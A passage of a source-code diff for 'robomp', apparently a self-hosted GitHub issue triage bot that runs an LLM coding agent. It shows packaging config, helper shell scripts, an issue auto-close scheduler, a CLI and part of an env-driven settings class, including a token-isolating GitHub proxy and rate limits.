readme = "README.md"
|
||||
requires-python = ">=3.11"
|
||||
authors = [{ name = "robomp" }]
|
||||
dependencies = [
|
||||
"fastapi>=0.112",
|
||||
"uvicorn[standard]>=0.30",
|
||||
"httpx>=0.27",
|
||||
"pydantic>=2.6",
|
||||
"pydantic-settings>=2.2",
|
||||
"python-dotenv>=1.0",
|
||||
"click>=8.1",
|
||||
"omp-rpc>=0.1.0",
|
||||
]
|
||||
|
||||
[project.optional-dependencies]
|
||||
dev = [
|
||||
"pytest>=8.0",
|
||||
"pytest-asyncio>=0.23",
|
||||
"respx>=0.21",
|
||||
"ruff>=0.13",
|
||||
]
|
||||
|
||||
[project.scripts]
|
||||
robomp = "robomp.cli:main"
|
||||
|
||||
[tool.setuptools]
|
||||
package-dir = { "" = "src" }
|
||||
|
||||
[tool.setuptools.packages.find]
|
||||
where = ["src"]
|
||||
|
||||
[tool.setuptools.package-data]
|
||||
robomp = ["prompts/*", "py.typed", "static/*", "static/assets/*"]
|
||||
|
||||
[tool.pytest.ini_options]
|
||||
testpaths = ["tests"]
|
||||
asyncio_mode = "auto"
|
||||
filterwarnings = [
|
||||
"ignore::DeprecationWarning",
|
||||
]
|
||||
|
||||
[tool.ruff]
|
||||
line-length = 120
|
||||
target-version = "py311"
|
||||
src = ["src", "tests"]
|
||||
extend-exclude = [".pi-context", "data"]
|
||||
|
||||
[tool.ruff.lint]
|
||||
select = [
|
||||
"E", "W", # pycodestyle
|
||||
"F", # pyflakes
|
||||
"I", # isort
|
||||
"UP", # pyupgrade
|
||||
"B", # flake8-bugbear
|
||||
"C4", # comprehensions
|
||||
"PIE", # misc lints
|
||||
]
|
||||
ignore = [
|
||||
"E501", # long lines (embedded HTML/SQL/prompts); formatter handles real cases
|
||||
"B008", # FastAPI/Click rely on call-in-defaults (Depends, Option)
|
||||
]
|
||||
|
||||
[tool.ruff.lint.per-file-ignores]
|
||||
"tests/*" = ["B011"] # assert False is fine in tests
|
||||
|
||||
[tool.ruff.lint.isort]
|
||||
known-first-party = ["robomp"]
|
||||
|
||||
[tool.ruff.format]
|
||||
quote-style = "double"
|
||||
Executable
+17
@@ -0,0 +1,17 @@
|
||||
#!/usr/bin/env bash
|
||||
# POST a synthetic ping to /webhook/github, signed with $GITHUB_WEBHOOK_SECRET.
|
||||
set -euo pipefail
|
||||
|
||||
: "${GITHUB_WEBHOOK_SECRET:?missing in .env}"
|
||||
: "${ROBOMP_BIND_PORT:=8080}"
|
||||
|
||||
body='{"zen":"bun ping","hook_id":0}'
|
||||
sig="sha256=$(printf '%s' "$body" | openssl dgst -sha256 -hmac "$GITHUB_WEBHOOK_SECRET" -r | awk '{print $1}')"
|
||||
|
||||
curl -fsS -X POST "http://localhost:${ROBOMP_BIND_PORT}/webhook/github" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H 'X-GitHub-Event: ping' \
|
||||
-H "X-GitHub-Delivery: bun-$(date +%s)" \
|
||||
-H "X-Hub-Signature-256: $sig" \
|
||||
--data "$body"
|
||||
echo
|
||||
Executable
+72
@@ -0,0 +1,72 @@
|
||||
#!/usr/bin/env bash
|
||||
# Resolve PI_ROOT to a usable oh-my-pi checkout, then `exec "$@"` with it
|
||||
# exported. Falls back to cloning the upstream repo into a local cache when
|
||||
# neither the explicit PI_ROOT nor /work/pi contains a checkout.
|
||||
#
|
||||
# Resolution order (first hit wins):
|
||||
# 1. $PI_ROOT (when set and points at a pi tree)
|
||||
# 2. /work/pi (the legacy hardcoded location)
|
||||
# 3. $ROBOMP_PI_CACHE_DIR (default: <repo>/.cache/oh-my-pi); cloned on demand
|
||||
#
|
||||
# Knobs (env):
|
||||
# PI_ROOT preferred checkout path
|
||||
# ROBOMP_PI_REPO_URL upstream clone URL (default: github.com/can1357/oh-my-pi)
|
||||
# ROBOMP_PI_REF git ref to clone (default: main)
|
||||
# ROBOMP_PI_CACHE_DIR clone destination (default: <repo>/.cache/oh-my-pi)
|
||||
# ROBOMP_PI_AUTO_UPDATE when 1, `git fetch && reset --hard` the cache on
|
||||
# every invocation if it's already populated
|
||||
#
|
||||
# Usage:
|
||||
# scripts/with-pi-root.sh <cmd> [args…]
|
||||
# scripts/with-pi-root.sh bash -c 'docker build … "$PI_ROOT"'
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
repo_root="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
|
||||
|
||||
explicit_pi_root="${PI_ROOT:-}"
|
||||
default_pi_root="${ROBOMP_PI_DEFAULT_PATH:-/work/pi}"
|
||||
cache_dir="${ROBOMP_PI_CACHE_DIR:-$repo_root/.cache/oh-my-pi}"
|
||||
repo_url="${ROBOMP_PI_REPO_URL:-https://github.com/can1357/oh-my-pi.git}"
|
||||
repo_ref="${ROBOMP_PI_REF:-main}"
|
||||
|
||||
is_pi_checkout() {
|
||||
[ -n "${1:-}" ] && [ -d "$1/packages/coding-agent" ]
|
||||
}
|
||||
|
||||
if is_pi_checkout "$explicit_pi_root"; then
|
||||
resolved="$explicit_pi_root"
|
||||
elif [ -n "$explicit_pi_root" ] && [ "$explicit_pi_root" != "$default_pi_root" ]; then
|
||||
echo "roboomp: PI_ROOT=$explicit_pi_root is not an oh-my-pi checkout; falling back" >&2
|
||||
resolved=""
|
||||
else
|
||||
resolved=""
|
||||
fi
|
||||
|
||||
if [ -z "$resolved" ]; then
|
||||
if is_pi_checkout "$default_pi_root"; then
|
||||
resolved="$default_pi_root"
|
||||
elif is_pi_checkout "$cache_dir"; then
|
||||
resolved="$cache_dir"
|
||||
if [ "${ROBOMP_PI_AUTO_UPDATE:-0}" = "1" ]; then
|
||||
echo "roboomp: updating $cache_dir (ROBOMP_PI_AUTO_UPDATE=1)" >&2
|
||||
git -C "$cache_dir" fetch --depth=1 origin "$repo_ref" >&2
|
||||
git -C "$cache_dir" reset --hard FETCH_HEAD >&2
|
||||
fi
|
||||
else
|
||||
echo "roboomp: cloning $repo_url@$repo_ref into $cache_dir (set PI_ROOT to skip)" >&2
|
||||
mkdir -p "$(dirname "$cache_dir")"
|
||||
rm -rf "$cache_dir"
|
||||
git clone --depth=1 --branch "$repo_ref" "$repo_url" "$cache_dir" >&2
|
||||
if ! is_pi_checkout "$cache_dir"; then
|
||||
echo "roboomp: clone of $repo_url produced no packages/coding-agent/ tree" >&2
|
||||
exit 1
|
||||
fi
|
||||
resolved="$cache_dir"
|
||||
fi
|
||||
fi
|
||||
|
||||
export PI_ROOT="$resolved"
|
||||
echo "roboomp: PI_ROOT=$PI_ROOT" >&2
|
||||
|
||||
exec "$@"
|
||||
@@ -0,0 +1,3 @@
|
||||
"""roboomp — self-hosted GitHub triage/fix bot driving omp --mode rpc."""
|
||||
|
||||
__version__ = "0.1.0"
|
||||
@@ -0,0 +1,4 @@
|
||||
from robomp.cli import main
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,194 @@
|
||||
"""Background scheduler that closes question issues after a quiet window.
|
||||
|
||||
Driven entirely by rows in `pending_closures`:
|
||||
- `_build_post_comment` inserts a row when the bot answers a `question` issue.
|
||||
- The webhook handler cancels the row when the original author replies, the
|
||||
issue is closed externally, or any other event signals the human is still
|
||||
engaged.
|
||||
- This loop atomically claims due rows, checks for a 👎 from the issue's
|
||||
original author on the watched comment, and either cancels (author voted
|
||||
down) or closes the issue with `state_reason=completed`.
|
||||
|
||||
The loop is the only writer of terminal `closed`/`cancelled` states for rows
|
||||
it has claimed, so the cancellation hook + the scheduler never race on the
|
||||
same row.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import logging
|
||||
from datetime import UTC, datetime
|
||||
|
||||
from robomp.config import Settings
|
||||
from robomp.db import Database, PendingClosureRow
|
||||
from robomp.github_backend import GitHubBackend
|
||||
from robomp.github_client import GitHubError
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def _utcnow_iso() -> str:
|
||||
return datetime.now(UTC).strftime("%Y-%m-%dT%H:%M:%S.%fZ")
|
||||
|
||||
|
||||
class AutocloseScheduler:
|
||||
"""Long-lived coroutine that closes due `pending_closures` rows.
|
||||
|
||||
Design choices:
|
||||
- One DB claim per tick (atomic `pending -> claimed`) prevents two
|
||||
ticks from acting on the same row, even if a previous tick was
|
||||
interrupted.
|
||||
- GitHub calls happen sequentially per tick. Auto-close volume is bounded
|
||||
by question-issue volume; concurrency would buy nothing here.
|
||||
- A failed close requeues the row to `pending` so the next tick retries.
|
||||
- 404 on close (issue already gone) finalizes as `cancelled` with reason
|
||||
`already_closed` rather than retrying forever.
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
*,
|
||||
settings: Settings,
|
||||
db: Database,
|
||||
github: GitHubBackend,
|
||||
) -> None:
|
||||
self._settings = settings
|
||||
self._db = db
|
||||
self._github = github
|
||||
self._task: asyncio.Task[None] | None = None
|
||||
self._stop_event: asyncio.Event | None = None
|
||||
|
||||
@property
|
||||
def enabled(self) -> bool:
|
||||
return (
|
||||
self._settings.question_autoclose_enabled
|
||||
and self._settings.question_autoclose_hours > 0
|
||||
and self._settings.question_autoclose_scan_seconds > 0
|
||||
)
|
||||
|
||||
async def start(self) -> None:
|
||||
"""Spawn the background loop. No-op when the feature is disabled."""
|
||||
if not self.enabled:
|
||||
log.info(
|
||||
"autoclose disabled",
|
||||
extra={
|
||||
"enabled": self._settings.question_autoclose_enabled,
|
||||
"hours": self._settings.question_autoclose_hours,
|
||||
},
|
||||
)
|
||||
return
|
||||
if self._task is not None:
|
||||
return
|
||||
self._stop_event = asyncio.Event()
|
||||
self._task = asyncio.create_task(self._run(), name="autoclose-scheduler")
|
||||
log.info(
|
||||
"autoclose started",
|
||||
extra={
|
||||
"scan_seconds": self._settings.question_autoclose_scan_seconds,
|
||||
"hours": self._settings.question_autoclose_hours,
|
||||
},
|
||||
)
|
||||
|
||||
async def stop(self) -> None:
|
||||
"""Signal the loop to exit and await its termination."""
|
||||
if self._task is None:
|
||||
return
|
||||
assert self._stop_event is not None
|
||||
self._stop_event.set()
|
||||
try:
|
||||
await asyncio.wait_for(self._task, timeout=5.0)
|
||||
except TimeoutError:
|
||||
self._task.cancel()
|
||||
try:
|
||||
await self._task
|
||||
except (asyncio.CancelledError, Exception):
|
||||
pass
|
||||
finally:
|
||||
self._task = None
|
||||
self._stop_event = None
|
||||
|
||||
async def _run(self) -> None:
|
||||
assert self._stop_event is not None
|
||||
scan_seconds = float(self._settings.question_autoclose_scan_seconds)
|
||||
while not self._stop_event.is_set():
|
||||
try:
|
||||
await self.tick()
|
||||
except Exception:
|
||||
log.exception("autoclose tick failed")
|
||||
try:
|
||||
await asyncio.wait_for(self._stop_event.wait(), timeout=scan_seconds)
|
||||
except TimeoutError:
|
||||
continue
|
||||
|
||||
async def tick(self) -> dict[str, int]:
|
||||
"""Process all due rows. Exposed for tests.
|
||||
|
||||
Returns a counter dict (`closed`, `cancelled`, `retried`) summarizing
|
||||
what happened on this tick.
|
||||
"""
|
||||
rows = self._db.claim_due_closures(now=_utcnow_iso())
|
||||
counts = {"closed": 0, "cancelled": 0, "retried": 0}
|
||||
for row in rows:
|
||||
outcome = await self._process_row(row)
|
||||
counts[outcome] = counts.get(outcome, 0) + 1
|
||||
if rows:
|
||||
log.info(
|
||||
"autoclose tick",
|
||||
extra={
|
||||
"closed": counts["closed"],
|
||||
"cancelled": counts["cancelled"],
|
||||
"retried": counts["retried"],
|
||||
"total": len(rows),
|
||||
},
|
||||
)
|
||||
return counts
|
||||
|
||||
async def _process_row(self, row: PendingClosureRow) -> str:
|
||||
"""Resolve a single claimed row. Returns `closed`/`cancelled`/`retried`."""
|
||||
try:
|
||||
reactions = await self._github.list_comment_reactions(row.repo, row.comment_id)
|
||||
except GitHubError as exc:
|
||||
log.warning(
|
||||
"autoclose: list_comment_reactions failed; will retry",
|
||||
extra={"issue_key": row.issue_key, "status": exc.status, "gh_message": exc.message},
|
||||
)
|
||||
self._db.requeue_claimed_closure(row.issue_key)
|
||||
return "retried"
|
||||
|
||||
author = row.issue_author.lower()
|
||||
author_downvoted = any(r.content == "-1" and r.user_login.lower() == author for r in reactions)
|
||||
if author_downvoted:
|
||||
self._db.finalize_closure(row.issue_key, state="cancelled", reason="author_downvoted")
|
||||
log.info(
|
||||
"autoclose cancelled by author 👎",
|
||||
extra={"issue_key": row.issue_key, "comment_id": row.comment_id},
|
||||
)
|
||||
return "cancelled"
|
||||
|
||||
try:
|
||||
await self._github.close_issue(row.repo, row.number, reason="completed")
|
||||
except GitHubError as exc:
|
||||
if exc.status == 404:
|
||||
self._db.finalize_closure(row.issue_key, state="cancelled", reason="already_closed")
|
||||
log.info(
|
||||
"autoclose: issue already gone",
|
||||
extra={"issue_key": row.issue_key},
|
||||
)
|
||||
return "cancelled"
|
||||
log.warning(
|
||||
"autoclose: close_issue failed; will retry",
|
||||
extra={"issue_key": row.issue_key, "status": exc.status, "gh_message": exc.message},
|
||||
)
|
||||
self._db.requeue_claimed_closure(row.issue_key)
|
||||
return "retried"
|
||||
|
||||
self._db.finalize_closure(row.issue_key, state="closed", reason=None)
|
||||
log.info(
|
||||
"autoclose closed issue",
|
||||
extra={"issue_key": row.issue_key, "number": row.number},
|
||||
)
|
||||
return "closed"
|
||||
|
||||
|
||||
__all__ = ["AutocloseScheduler"]
|
||||
@@ -0,0 +1,73 @@
|
||||
"""Per-event cancellation primitives shared by `WorkerPool` and the workers.
|
||||
|
||||
The dispatcher sets `_current_event` to `(pool, delivery_id)` for the lifetime
|
||||
of a single event. Worker threads call `register_cancel_hook` / `unregister_cancel_hook`
|
||||
from inside that scope to attach a stop callable the pool can fire on demand.
|
||||
The contextvar propagates through `asyncio.to_thread` automatically because
|
||||
`asyncio` copies the current context into the executed coroutine context.
|
||||
|
||||
Kept in its own module so `worker.py` doesn't have to import `queue.py` (the
|
||||
dispatcher already imports `tasks`, which imports `worker` — a cycle).
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import contextvars
|
||||
import logging
|
||||
from collections.abc import Callable
|
||||
from typing import Protocol
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class _CancelSink(Protocol):
|
||||
"""Just the slice of `WorkerPool` the helpers below depend on."""
|
||||
|
||||
def _arm_cancel(self, delivery_id: str, hook: Callable[[], None]) -> None: ...
|
||||
def _disarm_cancel(self, delivery_id: str) -> None: ...
|
||||
|
||||
|
||||
_current_event: contextvars.ContextVar[tuple[_CancelSink, str] | None] = contextvars.ContextVar(
|
||||
"robomp_current_event", default=None
|
||||
)
|
||||
|
||||
|
||||
def set_current_event(sink: _CancelSink, delivery_id: str) -> contextvars.Token:
|
||||
"""Open a per-event cancellation scope; returns a reset token for the caller."""
|
||||
return _current_event.set((sink, delivery_id))
|
||||
|
||||
|
||||
def clear_current_event(token: contextvars.Token) -> None:
|
||||
"""Close the scope opened by `set_current_event`."""
|
||||
_current_event.reset(token)
|
||||
|
||||
|
||||
def register_cancel_hook(hook: Callable[[], None]) -> None:
|
||||
"""Arm cancellation for the event currently running on this thread.
|
||||
|
||||
Called from the worker thread once it owns a resource that can be safely
|
||||
torn down from outside (e.g. an `RpcClient` whose `.stop()` kills the
|
||||
subprocess). Safe to call when no event context is active — no-ops.
|
||||
"""
|
||||
ctx = _current_event.get()
|
||||
if ctx is None:
|
||||
return
|
||||
sink, delivery_id = ctx
|
||||
sink._arm_cancel(delivery_id, hook)
|
||||
|
||||
|
||||
def unregister_cancel_hook() -> None:
|
||||
"""Disarm cancellation for the current event. Idempotent."""
|
||||
ctx = _current_event.get()
|
||||
if ctx is None:
|
||||
return
|
||||
sink, delivery_id = ctx
|
||||
sink._disarm_cancel(delivery_id)
|
||||
|
||||
|
||||
__all__ = [
|
||||
"clear_current_event",
|
||||
"register_cancel_hook",
|
||||
"set_current_event",
|
||||
"unregister_cancel_hook",
|
||||
]
|
||||
@@ -0,0 +1,223 @@
|
||||
"""Command-line interface."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import json
|
||||
import sys
|
||||
|
||||
import click
|
||||
import uvicorn
|
||||
|
||||
from robomp.config import Settings, get_settings
|
||||
from robomp.db import INACTIVE_EVENT_STATES, get_database
|
||||
from robomp.logging_config import configure_logging
|
||||
from robomp.manual_triage import (
|
||||
InvalidIssueRef,
|
||||
ManualTriageError,
|
||||
ManualTriageTimeout,
|
||||
await_terminal_state,
|
||||
enqueue_manual_triage,
|
||||
parse_issue_ref,
|
||||
)
|
||||
from robomp.proxy_client import GitHubProxyClient
|
||||
from robomp.sandbox import SandboxManager
|
||||
from robomp.server import create_app
|
||||
|
||||
|
||||
def _settings_or_die() -> Settings:
|
||||
try:
|
||||
return get_settings()
|
||||
except Exception as exc:
|
||||
click.echo(f"configuration error: {exc}", err=True)
|
||||
sys.exit(2)
|
||||
|
||||
|
||||
def _require_proxy_mode(cfg: Settings) -> tuple[str, bytes]:
|
||||
if cfg.github_token is not None:
|
||||
raise SystemExit(
|
||||
"robomp orchestrator refuses to start with GITHUB_TOKEN set in env. "
|
||||
"The PAT must live only in the gh-proxy container."
|
||||
)
|
||||
if cfg.gh_proxy_url is None or cfg.gh_proxy_hmac_key is None:
|
||||
raise SystemExit(
|
||||
"robomp orchestrator requires ROBOMP_GH_PROXY_URL and "
|
||||
"ROBOMP_GH_PROXY_HMAC_KEY (run gh-proxy in a sibling container)."
|
||||
)
|
||||
return cfg.gh_proxy_url, cfg.gh_proxy_hmac_key.get_secret_value().encode("utf-8")
|
||||
|
||||
|
||||
def _build_github(cfg: Settings) -> GitHubProxyClient:
|
||||
base_url, key = _require_proxy_mode(cfg)
|
||||
return GitHubProxyClient(base_url=base_url, hmac_key=key)
|
||||
|
||||
|
||||
def _default_wait_timeout(cfg: Settings) -> float:
|
||||
return cfg.task_timeout_seconds + cfg.task_timeout_hard_grace_seconds + 30.0
|
||||
|
||||
|
||||
@click.group()
|
||||
def main() -> None:
|
||||
"""roboomp control surface."""
|
||||
|
||||
|
||||
@main.command()
|
||||
def serve() -> None:
|
||||
"""Run the webhook receiver + worker pool."""
|
||||
cfg = _settings_or_die()
|
||||
configure_logging(cfg.log_dir)
|
||||
cfg.ensure_paths()
|
||||
app = create_app(cfg)
|
||||
uvicorn.run(app, host=cfg.bind_host, port=cfg.bind_port, log_config=None)
|
||||
|
||||
|
||||
@main.command()
|
||||
@click.argument("issue_ref")
|
||||
@click.option(
|
||||
"--wait-timeout",
|
||||
type=click.FloatRange(min=0.1),
|
||||
default=None,
|
||||
help="Seconds to wait for a terminal state before returning non-zero (default: task timeout + hard grace + 30).",
|
||||
)
|
||||
def triage(issue_ref: str, wait_timeout: float | None) -> None:
|
||||
"""Fetch a live issue and queue it as if a webhook arrived.
|
||||
|
||||
ISSUE_REF is `owner/repo#NN`.
|
||||
"""
|
||||
cfg = _settings_or_die()
|
||||
configure_logging(cfg.log_dir)
|
||||
cfg.ensure_paths()
|
||||
try:
|
||||
repo_full, number = parse_issue_ref(issue_ref)
|
||||
except InvalidIssueRef as exc:
|
||||
click.echo(str(exc), err=True)
|
||||
sys.exit(2)
|
||||
if not cfg.allows(repo_full):
|
||||
click.echo(f"refusing: {repo_full} not in ROBOMP_REPO_ALLOWLIST", err=True)
|
||||
sys.exit(2)
|
||||
|
||||
async def _go() -> None:
|
||||
github = _build_github(cfg)
|
||||
db = get_database(cfg.sqlite_path)
|
||||
try:
|
||||
delivery = await enqueue_manual_triage(
|
||||
db=db,
|
||||
github=github,
|
||||
repo_full=repo_full,
|
||||
number=number,
|
||||
)
|
||||
except ManualTriageError as exc:
|
||||
click.echo(f"refusing: {exc}", err=True)
|
||||
sys.exit(2)
|
||||
# The dispatcher loop lives in the long-running `serve` process; we
|
||||
# only watch the row land in a terminal state. Wake latency is
|
||||
# bounded by `WorkerPool._dispatch_loop`'s 10s `_wakeup.wait()` fallback.
|
||||
click.echo(json.dumps({"delivery": delivery, "state": "queued"}, indent=2))
|
||||
timeout = wait_timeout if wait_timeout is not None else _default_wait_timeout(cfg)
|
||||
try:
|
||||
final = await await_terminal_state(db, delivery, timeout=timeout)
|
||||
except ManualTriageTimeout as exc:
|
||||
click.echo(
|
||||
json.dumps(
|
||||
{"delivery": delivery, "state": exc.state, "timed_out": True, "error": str(exc)},
|
||||
indent=2,
|
||||
),
|
||||
err=True,
|
||||
)
|
||||
sys.exit(1)
|
||||
if final is None:
|
||||
click.echo(json.dumps({"delivery": delivery, "state": "missing"}, indent=2))
|
||||
return
|
||||
click.echo(
|
||||
json.dumps(
|
||||
{"delivery": delivery, "state": final.state, "error": final.last_error},
|
||||
indent=2,
|
||||
)
|
||||
)
|
||||
|
||||
asyncio.run(_go())
|
||||
|
||||
|
||||
@main.command()
|
||||
@click.argument("delivery_id")
|
||||
@click.option(
|
||||
"--wait-timeout",
|
||||
type=click.FloatRange(min=0.1),
|
||||
default=None,
|
||||
help="Seconds to wait for a terminal state before returning non-zero (default: task timeout + hard grace + 30).",
|
||||
)
|
||||
def replay(delivery_id: str, wait_timeout: float | None) -> None:
|
||||
"""Re-enqueue a stored event so the running `serve` pool can pick it up."""
|
||||
cfg = _settings_or_die()
|
||||
configure_logging(cfg.log_dir)
|
||||
cfg.ensure_paths()
|
||||
db = get_database(cfg.sqlite_path)
|
||||
row = db.get_event(delivery_id)
|
||||
if row is None:
|
||||
click.echo(f"unknown delivery: {delivery_id}", err=True)
|
||||
sys.exit(2)
|
||||
if not db.requeue_event(delivery_id, from_states=INACTIVE_EVENT_STATES):
|
||||
click.echo(
|
||||
f"delivery {delivery_id} is {row.state}; only inactive events can be replayed",
|
||||
err=True,
|
||||
)
|
||||
sys.exit(2)
|
||||
|
||||
async def _wait() -> None:
|
||||
timeout = wait_timeout if wait_timeout is not None else _default_wait_timeout(cfg)
|
||||
try:
|
||||
final = await await_terminal_state(db, delivery_id, timeout=timeout)
|
||||
except ManualTriageTimeout as exc:
|
||||
click.echo(
|
||||
json.dumps(
|
||||
{"delivery": delivery_id, "state": exc.state, "timed_out": True, "error": str(exc)},
|
||||
indent=2,
|
||||
),
|
||||
err=True,
|
||||
)
|
||||
sys.exit(1)
|
||||
if final is None:
|
||||
click.echo(json.dumps({"delivery": delivery_id, "state": "missing"}, indent=2))
|
||||
return
|
||||
click.echo(
|
||||
json.dumps(
|
||||
{"delivery": delivery_id, "state": final.state, "error": final.last_error},
|
||||
indent=2,
|
||||
)
|
||||
)
|
||||
|
||||
asyncio.run(_wait())
|
||||
|
||||
|
||||
@main.command()
|
||||
def status() -> None:
|
||||
"""Dump the issue table."""
|
||||
cfg = _settings_or_die()
|
||||
cfg.ensure_paths()
|
||||
db = get_database(cfg.sqlite_path)
|
||||
rows = db.list_issues()
|
||||
for r in rows:
|
||||
click.echo(
|
||||
f"{r.key:<40} state={r.state:<12} pr={r.pr_number or '-'} branch={r.branch or '-'} updated={r.updated_at}"
|
||||
)
|
||||
|
||||
|
||||
@main.command()
|
||||
@click.argument("issue_key")
|
||||
def cleanup(issue_key: str) -> None:
|
||||
"""Force-remove the workspace for an issue (does not touch the remote)."""
|
||||
cfg = _settings_or_die()
|
||||
cfg.ensure_paths()
|
||||
db = get_database(cfg.sqlite_path)
|
||||
row = db.get_issue(issue_key)
|
||||
if row is None:
|
||||
click.echo(f"unknown issue: {issue_key}", err=True)
|
||||
sys.exit(2)
|
||||
sandbox = SandboxManager(cfg.workspace_root)
|
||||
sandbox.remove_workspace(repo=row.repo, number=row.number)
|
||||
db.set_issue_state(issue_key, "abandoned")
|
||||
click.echo(f"cleaned up {issue_key}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,381 @@
|
||||
"""Env-driven configuration for roboomp."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import random
|
||||
from functools import cache
|
||||
from pathlib import Path
|
||||
from typing import Literal
|
||||
|
||||
from pydantic import Field, SecretStr, field_validator, model_validator
|
||||
from pydantic_settings import BaseSettings, SettingsConfigDict
|
||||
|
||||
ThinkingLevel = Literal["off", "low", "medium", "high", "xhigh"]
|
||||
|
||||
|
||||
class Settings(BaseSettings):
|
||||
"""Strongly-typed runtime configuration.
|
||||
|
||||
Loaded from process env, optionally pre-populated by `.env`.
|
||||
"""
|
||||
|
||||
model_config = SettingsConfigDict(
|
||||
env_file=".env",
|
||||
env_file_encoding="utf-8",
|
||||
extra="ignore",
|
||||
case_sensitive=False,
|
||||
)
|
||||
|
||||
# GitHub
|
||||
# `github_token` is REQUIRED on the gh-proxy side (it holds the PAT) and
|
||||
# OPTIONAL on the orchestrator side when `gh_proxy_url` is configured —
|
||||
# the orchestrator then talks to gh-proxy over HMAC RPC and never sees
|
||||
# the PAT. Validated end-to-end in `_validate_proxy_or_pat` below.
|
||||
github_token: SecretStr | None = Field(None, alias="GITHUB_TOKEN")
|
||||
github_webhook_secret: SecretStr = Field(..., alias="GITHUB_WEBHOOK_SECRET")
|
||||
bot_login: str = Field(..., alias="ROBOMP_BOT_LOGIN")
|
||||
git_author_name: str | None = Field(None, alias="ROBOMP_GIT_AUTHOR_NAME")
|
||||
git_author_email: str = Field(..., alias="ROBOMP_GIT_AUTHOR_EMAIL")
|
||||
repo_allowlist_raw: str = Field("", alias="ROBOMP_REPO_ALLOWLIST")
|
||||
|
||||
# gh-proxy. Set BOTH to route GitHub through the proxy; leave both empty
|
||||
# to keep PAT-on-orchestrator behavior. Mixing the two (PAT + proxy) is
|
||||
# rejected to prevent silent fallback to direct GitHub access.
|
||||
gh_proxy_url: str | None = Field(None, alias="ROBOMP_GH_PROXY_URL")
|
||||
gh_proxy_hmac_key: SecretStr | None = Field(None, alias="ROBOMP_GH_PROXY_HMAC_KEY")
|
||||
# Bind address for `python -m robomp.proxy serve`. Internal-only by
|
||||
# default; gh-proxy never exposes a host port.
|
||||
gh_proxy_bind_host: str = Field("0.0.0.0", alias="ROBOMP_GH_PROXY_BIND_HOST")
|
||||
gh_proxy_bind_port: int = Field(8081, alias="ROBOMP_GH_PROXY_BIND_PORT")
|
||||
|
||||
# gh-proxy: maximum request body size (bytes). Bodies larger than this
|
||||
# are rejected with 413 BEFORE the proxy reads them into memory. Tight
|
||||
# by design — every typed endpoint payload fits in a few KB.
|
||||
gh_proxy_max_body_bytes: int = Field(1 << 20, alias="ROBOMP_GH_PROXY_MAX_BODY_BYTES")
|
||||
# Hard wall-clock budget (seconds) for a single git subprocess invoked
|
||||
# by gh-proxy. Bounds how long a hung git can pin a request handler.
|
||||
gh_proxy_git_timeout_seconds: float = Field(60.0, alias="ROBOMP_GH_PROXY_GIT_TIMEOUT_SECONDS")
|
||||
|
||||
# Model selection
|
||||
model: str = Field("p-anthropic/claude-sonnet-4-6", alias="ROBOMP_MODEL")
|
||||
provider: str | None = Field(None, alias="ROBOMP_PROVIDER")
|
||||
thinking_level: ThinkingLevel = Field("high", alias="ROBOMP_THINKING")
|
||||
|
||||
# Runtime
|
||||
max_concurrency: int = Field(8, alias="ROBOMP_MAX_CONCURRENCY")
|
||||
task_timeout_seconds: float = Field(2400.0, alias="ROBOMP_TASK_TIMEOUT_SECONDS")
|
||||
task_timeout_hard_grace_seconds: float = Field(60.0, alias="ROBOMP_TASK_TIMEOUT_HARD_GRACE_SECONDS")
|
||||
request_timeout_seconds: float = Field(120.0, alias="ROBOMP_REQUEST_TIMEOUT_SECONDS")
|
||||
# Premature-end reminder. When a `triage_issue` turn ends without the
|
||||
# agent having reached a terminal tool (`gh_open_pr`,
|
||||
# `mark_unable_to_reproduce`, `abort_task`) for a `bug`/`documentation`
|
||||
# classification, the driver sends up to this many "you stopped before
|
||||
# opening a PR — continue" reminder prompts into the same omp session.
|
||||
# Set to 0 to disable.
|
||||
task_completion_max_reminders: int = Field(2, alias="ROBOMP_TASK_COMPLETION_MAX_REMINDERS")
|
||||
omp_command: str = Field("omp", alias="ROBOMP_OMP_COMMAND")
|
||||
|
||||
# Graceful shutdown (Phase B). On SIGTERM the dispatcher stops claiming
|
||||
# new work, then waits up to `drain` seconds for in-flight events to
|
||||
# complete cleanly; any still running after that get their omp
|
||||
# subprocess killed and the row left in `running` so it requeues on
|
||||
# next start. Sum of both MUST stay below the compose `stop_grace_period`.
|
||||
shutdown_drain_timeout_seconds: float = Field(25.0, alias="ROBOMP_SHUTDOWN_DRAIN_TIMEOUT_SECONDS")
|
||||
shutdown_kill_timeout_seconds: float = Field(5.0, alias="ROBOMP_SHUTDOWN_KILL_TIMEOUT_SECONDS")
|
||||
|
||||
# Paths
|
||||
workspace_root: Path = Field(Path("./data/workspaces"), alias="ROBOMP_WORKSPACE_ROOT")
|
||||
sqlite_path: Path = Field(Path("./data/robomp.sqlite"), alias="ROBOMP_SQLITE_PATH")
|
||||
log_dir: Path = Field(Path("./data/logs"), alias="ROBOMP_LOG_DIR")
|
||||
|
||||
# Server
|
||||
bind_host: str = Field("0.0.0.0", alias="ROBOMP_BIND_HOST")
|
||||
bind_port: int = Field(8080, alias="ROBOMP_BIND_PORT")
|
||||
|
||||
# Dev-only replay header value; if empty, /replay is disabled
|
||||
replay_token: SecretStr | None = Field(None, alias="ROBOMP_REPLAY_TOKEN")
|
||||
|
||||
# Per-submitter rate limiting. `window_seconds` defines the rolling window;
|
||||
# `default` is the per-window cap for unknown/first-time submitters;
|
||||
# `contributor` is the cap for accounts whose GitHub author_association is
|
||||
# `CONTRIBUTOR` (i.e. already has a merged PR). `unlimited_raw` is a
|
||||
# comma-separated allowlist of logins that bypass the limiter entirely;
|
||||
# accounts with author_association OWNER/MEMBER/COLLABORATOR also bypass.
|
||||
